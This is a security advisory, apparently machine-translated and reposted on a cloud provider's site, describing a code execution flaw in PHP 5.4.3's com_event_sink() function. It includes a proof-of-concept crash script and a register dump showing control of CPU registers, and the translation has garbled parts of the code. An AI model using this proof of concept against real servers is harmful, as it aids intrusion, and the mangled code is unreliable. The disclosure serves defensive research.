PHP 'com _ event_sink () 'Remote Code Execution Vulnerability

Source: Internet
Author: User

Release date:
Updated on:

Affected Systems:
PHP 5.4.3
Description:
--------------------------------------------------------------------------------
Bugtraq id: 53642

PHP is an embedded HTML language. PHP is similar to Microsoft's ASP. It is a script language that is executed on the server side and embedded in HTML documents, the language style is similar to the C language and is widely used by many website programmers.

The function com_event_sink () in PHP 5.4.3 has a remote vulnerability. Attackers can exploit this vulnerability to execute arbitrary code on the affected network server.

<* Source: condis

Link: http://isc.sans.edu/diary.html? Storyid = 13255.
*>

Test method:
--------------------------------------------------------------------------------

Alert

The following procedures (methods) may be offensive and are intended only for security research and teaching. Users are at your own risk!

<? Php

/*

PHP <= 5.4.3 (com_event_sink) Code Execution Proof Concept
Found by condis
Web: http://cond.psychodela.pl

Tested on:

PHP 5.3.8 + Windows XP SP3 Professional PL
PHP 5.3.10 + Windows XP SP3 Professional PL
PHP 5.4.0 + Windows XP SP3 Professional PL
PHP 5.4.3 + Windows XP SP3 Professional PL

Description:

This is a very strange bug and I had a really hard time trying to classify
It, but lets start from the beginning.

As we can read in PHP manual: com_event_sink function connects events from
COM object to a PHP object. First argument shocould be a COM object. But when
I set it up to new Variant (), PHP instance crashed.

After few minutes of research it was clear to me that we can control EAX
Register by defining first parameter of our Variant object.

The proof of concept code located below shoshould produce situation similar
This:

Eax = 024e0050 ebx = 010328f0 ecx = 41414141 edx = 00c0facc esi = 0121ff68 edi = 00000000
Eip = 100f33d5 esp = 00c0faa8 ebp = 00000000 iopl = 0 nv up ei pl nz na po nc
Cs = 001b ss = 0023 ds = 0023 es = 0023 fs = 003b gs = 0000 efl = 00200202

100f33d4 50 push eax
100f33d5 8b01 mov eax, dword ptr [ecx] ds: 0023: 41414141 == ????????
100f33d7 ffd0 call eax

IMHO it is possible to write a reliable exploit using I. e.: drop method but due
To lack of free time and skill I leave this task to someone else. Also 0in tried
To write stable exploit for same bug in com_print_typeinfo () function but as far
As I know it isn' t stable enough :(


Greetz: cxib, 0in, and others;>

*/

$ EAX = 0x024E0050; // stack starts at 0x024E0050 (in my case)
$ Stack = str_repeat ("x41", 0x1000000); // putting some garbage on the stack so the ECX wocould be 41414141

Class foo {}
Com_event_sink (new Variant ($ EAX), new foo (), array ());

?>

Suggestion:
--------------------------------------------------------------------------------
Vendor patch:

PHP
---
Currently, the vendor does not provide patches or upgrade programs. We recommend that users who use the software follow the vendor's homepage to obtain the latest version:

Http://www.php.net

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.